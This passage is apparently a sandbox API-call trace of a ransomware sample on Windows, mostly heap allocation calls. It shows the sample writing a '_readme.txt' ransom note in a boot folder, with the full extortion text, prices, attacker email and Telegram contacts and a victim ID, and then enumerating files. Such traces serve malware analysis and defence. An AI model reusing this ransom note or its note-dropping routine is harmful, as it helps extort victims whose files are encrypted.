dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.481] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.481] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.481] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.481] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.481] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.481] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.481] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.481] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.481] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.481] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.481] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.481] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.481] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.481] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.482] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.482] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.482] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.482] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.482] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.482] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.482] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.482] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.482] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.482] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.482] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.482] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.482] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.482] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.482] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.482] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.482] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.482] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.482] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.482] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.482] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.482] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.482] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.482] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.482] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.482] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.482] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.482] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.482] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.482] PathFindFileNameW (pszPath="C:\\Boot\\tr-TR\\") returned="tr-TR\\" [0116.482] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.482] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.482] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.483] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.483] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.483] PathFindFileNameW (pszPath="") returned="" [0116.483] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.483] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.483] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.483] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.483] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.483] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.483] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.483] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f46f8 | out: hHeap=0xd10000) returned 1 [0116.483] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.483] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.483] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.483] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.483] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.483] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.483] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.483] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x81c) returned 0x39dcb30 [0116.483] PathAppendW (in: pszPath="C:\\Boot\\tr-TR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0116.483] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.484] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.484] PathFileExistsW (pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 0 [0116.490] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.490] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.490] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.490] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.490] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\_readme.txt" (normalized: "c:\\boot\\tr-tr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.491] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.491] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.491] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.491] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.491] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.491] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.491] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.491] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.491] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.491] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.491] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.491] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.491] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.491] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.491] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.491] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.491] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.491] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.494] RtlAllocateHeap 